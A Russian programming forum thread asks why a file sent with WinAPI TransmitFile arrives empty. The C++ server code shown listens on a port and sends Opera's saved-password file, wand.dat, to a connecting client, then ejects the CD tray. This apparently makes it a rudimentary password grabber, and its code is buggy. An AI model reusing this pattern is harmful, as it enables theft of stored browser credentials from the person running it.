Форум программистов, компьютерный форум, киберфорум
C/C++: WinAPI
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 5.00/19: Рейтинг темы: голосов - 19, средняя оценка - 5.00
0 / 0 / 0
Регистрация: 07.07.2009
Сообщений: 57

Передача файла с помощью TransmitFile

31.08.2010, 18:22. Показов 3906. Ответов 1
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Ребят помогите разобраться.Подскажите как передать файл с помощью TransmitFile.
Я пробывал делать вот так:
вот код сервера
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#include <cstdlib>
#include <iostream>
#include <winsock2.h>
#include "stdio.h"
#include "conio.h"
#include "windows.h"
#include <mmsystem.h> 
#include <winbase.h>
#include <Mswsock.h>
using namespace std;
int main(int argc, char *argv[])
{
HANDLE hFile;
LPOFSTRUCT lpReOpenBuff;
 char Head [20]; 
  char Tail [20]; 
  strcpy (Head,"BeginTransmitFile"); 
  strcpy (Tail,"EndTransmitFile");
_TRANSMIT_FILE_BUFFERS tB;
 tB.Head = Head; 
 tB.HeadLength = sizeof (Head);
tB.Tail = Tail; 
 tB.TailLength = sizeof (Tail);
MCI_OPEN_PARMS OpenParm;
MCI_SET_PARMS SetParm;
MCIDEVICEID dID;
    SOCKET client,s;
    struct sockaddr_in addr;
    int rc=NO_ERROR;
    char buf[1];
    WSADATA wsa;
    int err;
    err=0;
addr.sin_family=AF_INET;
addr.sin_port=htons(7500);
addr.sin_addr.s_addr=htonl(INADDR_ANY);
    err=WSAStartup(MAKEWORD(2,2),&wsa);
    if(err!=0)
    {
              printf("oshibka");
              _getch();
              }
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (INVALID_SOCKET==s)
    {
        printf( "Error socket!: %ld\n", WSAGetLastError());
        WSACleanup();
        return EXIT_FAILURE;
    }
if(bind(s,(SOCKADDR*)&addr,sizeof(addr))==SOCKET_ERROR)
{
printf("dont bind");
_getch();
closesocket(s);
WSACleanup();
return EXIT_FAILURE;                                                    
}
rc=listen(s,10);
 if(rc==SOCKET_ERROR)
    {
        printf("ошибка вызова listen\n");
        closesocket(s);
        WSACleanup();
        return EXIT_FAILURE;
    }
client=accept(s,NULL,NULL);
if(client<0)
    {
        printf("ошибка вызова accept\n");
        closesocket(client);
        WSACleanup();
        return EXIT_FAILURE;
    }
rc = recv(client, buf, 1, 0); 
if(rc<=0)
  {
  printf("oshibka vizova");        
   closesocket(client);
   WSACleanup();
   return EXIT_FAILURE;
  }
  else
  {
  printf("da");
  } 
if(buf[0]=='1')
{
hFile=CreateFile("C:\\Documents and Settings\\Никита\\Application Data\\Opera\\Opera\\profile\\wand.dat",GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile != INVALID_HANDLE_VALUE)
{
printf("yes");
}
TransmitFile(client,hFile,0,1024,0,&tB,TF_REUSE_SOCKET);
OpenParm.lpstrDeviceType="CDAudio";
}
mciSendCommand(0, MCI_OPEN, MCI_OPEN_TYPE, (DWORD_PTR)&OpenParm); 
dID = OpenParm.wDeviceID; 
mciSendCommand(dID, MCI_SET, MCI_SET_DOOR_OPEN,(DWORD_PTR)&SetParm);
_getch();
closesocket(s);
WSACleanup();
return 0;
}
вот код клиента:
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#include <stdio.h>
#include <winsock2.h>
#include <stdio.h>
#include <conio.h>
#include <Mswsock.h>
#define eof -1
int main(int argc, char* argv[])
{
    HANDLE hFile;
    DWORD vwCounter;
    OFSTRUCT tOfStr;
    SOCKET NewSocket;
    SOCKADDR_IN rmaddr;
    WSADATA wsa;
    int err,i,error;
    int rc=NO_ERROR;
    char s[10];
    char buf[12000];
    err=WSAStartup(MAKEWORD(2,2), &wsa);
    if (err!=0)
    {printf("oshibka\n");
    _getch();
}
    else
 {printf("biblioteka zagruzhena\n");
 _getch();
        }
    NewSocket = socket (AF_INET,SOCK_STREAM,IPPROTO_TCP);
    rmaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
    rmaddr.sin_family = AF_INET;
    rmaddr.sin_port = htons(7500);
if(connect(NewSocket,(struct sockaddr *)&rmaddr,sizeof(rmaddr))==SOCKET_ERROR)
{
printf("oshibka");
_getch();
}
else
{
printf("connect\n");
_getch();
}
    scanf("%s",&s[0]);
    error=send(NewSocket,s,strlen(s),0);
    if(SOCKET_ERROR==error)
    {
    printf("oshibka");
    _getch();
    closesocket(NewSocket);
    WSACleanup();
    return EXIT_FAILURE;
}
    else
    {
    printf("otpravil");
    }
      rc = recv(NewSocket,buf,1024, 0);
if(rc<=0)
  {
  printf("oshibka vizova");        
   closesocket(NewSocket);
   WSACleanup();
   return EXIT_FAILURE;
  }
  else
  {
  printf("da");
}
    rc = recv(NewSocket,buf,1024, 0);
if(rc<=0)
  {
  printf("oshibka vizova");        
   closesocket(NewSocket);
   WSACleanup();
   return EXIT_FAILURE;
  }
  else
  {
  printf("da");
  hFile=CreateFile("file1.dat",GENERIC_READ |GENERIC_WRITE, FILE_SHARE_WRITE | FILE_SHARE_READ, NULL, CREATE_NEW,FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, 0);
  if(hFile != INVALID_HANDLE_VALUE)
  {
  printf("yes");
}
  printf("%s",buf);
  _getch();
  OpenFile("file1.dat",&tOfStr,OF_READWRITE | OF_SHARE_EXCLUSIVE);
WriteFile(hFile,&buf,1024,&vwCounter,NULL);
  CloseHandle(hFile);
  } 
    closesocket(NewSocket);
    return 0;
}
у меня с вервера на клиент вроде все передается, но только файл почему то всегда имеет размер в 0 байт. Подскажите пожалуйста где у меня ошибка.
0
Programming
Эксперт
39485 / 9562 / 3019
Регистрация: 12.04.2006
Сообщений: 41,671
Блог
31.08.2010, 18:22
Ответы с готовыми решениями:

Передача файла с помощью WinHttpRequest
Доброго дня всем! Через WinHttpRequest передаю файл. На локальном компе все работает, на личном сервере все работает, а на рабочем нет...

Передача файла с помощью сокетов (UDP)
Всем привет! Пишу лабу по сокетам. Полностью задание звучит так: У меня возникла проблема с передачей файла блоками и заданием в...

Передача файла по локальной сети с помощью сокетов
Как организовать передачу файла по локальной сети с помощью сокетов? Что нужно писать в программе сервер и в программе клиент

1
Эксперт С++
 Аватар для Andrew_Lvov
261 / 191 / 10
Регистрация: 19.08.2010
Сообщений: 760
Записей в блоге: 1
01.09.2010, 21:11
Проверьте возвращаемое значение из ф-ции TransmitFile. В случае ошибки возьмите WSAGetLastError().
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
inter-admin
Эксперт
29715 / 6470 / 2152
Регистрация: 06.03.2009
Сообщений: 28,500
Блог
01.09.2010, 21:11
Помогаю со студенческими работами здесь

Передача файла между потоками поблочно с помощью пайпов
Можно ли от одного потока передавать файл к другому через pipe поблочно? Если да то как?!

Передача GET с помощью JavaScript
есть такой код &lt;style&gt; td.g2 { background: none repeat scroll 0px 0px #FFF; border: 1px solid #E6E6FA; cursor:...

Передача переменноя с помощью ajax
Здравствуйте. Ajax-запрос каждый 5 сек. должен передавать значение переменной &quot;On&quot; в php-скрипт &quot;users.php&quot;, где...

Передача сигнала с помощью ИК светодиода
Добрый день! Делаю сильно упрощенную копию пульта для кондиционера, которая по сути должна уметь передавать всего одну команду(включение с...

Передача объектов с помощью сессий
Как передать объект с помощью сессий? И второй вопрос: как в php 5 передать объект как параметр по значению?


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
2
Ответ Создать тему
Новые блоги и статьи
Хочу заставить корпорации вкладываться в здоровье сотрудников: делаю мат модель здравосохранения
anaschu 22.03.2026
e7EYtONaj8Y Z4Tv2zpXVVo https:/ / github. com/ shumilovas/ med2. git
1С: Программный отбор элементов справочника по группе
Maks 22.03.2026
Установка программного отбора элементов справочника "Номенклатура" из модуля формы документа. В качестве фильтра для отбора справочника служит группа номенклатуры. Отбор по наименованию группы. . .
Как я обхитрил таблицу Word
Alexander-7 21.03.2026
Когда мигает курсор у внешнего края таблицы, и нам надо перейти на новую строку, а при нажатии Enter создается новый ряд таблицы с ячейками, то мы вместо нервных нажатий Энтеров мы пишем любые буквы. . .
Krabik - рыболовный бот для WoW 3.3.5a
AmbA 21.03.2026
без регистрации и смс. Это не торговля, приложение не содержит рекламы. Выполняет свою непосредственную задачу - автоматизацию рыбалки в WoW - и ничего более. Однако если админы будут против -. . .
1С: Программный отбор элементов справочника по значению перечисления
Maks 21.03.2026
Установка программного отбора элементов справочника "Сотрудники" из модуля формы документа. В качестве фильтра для отбора служит значение перечислений. / / Событие "НачалоВыбора" реквизита на форме. . .
Переходник USB-CAN-GPIO
Eddy_Em 20.03.2026
Достаточно давно на работе возникла необходимость в переходнике CAN-USB с гальваноразвязкой, оный и был разработан. Однако, все меня терзала совесть, что аж 48-ногий МК используется так тупо: просто. . .
Оттенки серого
Argus19 18.03.2026
Оттенки серого Нашёл в интернете 3 прекрасных модуля: Модуль класса открытия диалога открытия/ сохранения файла на Win32 API; Модуль класса быстрого перекодирования цветного изображения в оттенки. . .
SDL3 для Desktop (MinGW): Рисуем цветные прямоугольники с помощью рисовальщика SDL3 на Си и C++
8Observer8 17.03.2026
Содержание блога Финальные проекты на Си и на C++: finish-rectangles-sdl3-c. zip finish-rectangles-sdl3-cpp. zip
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru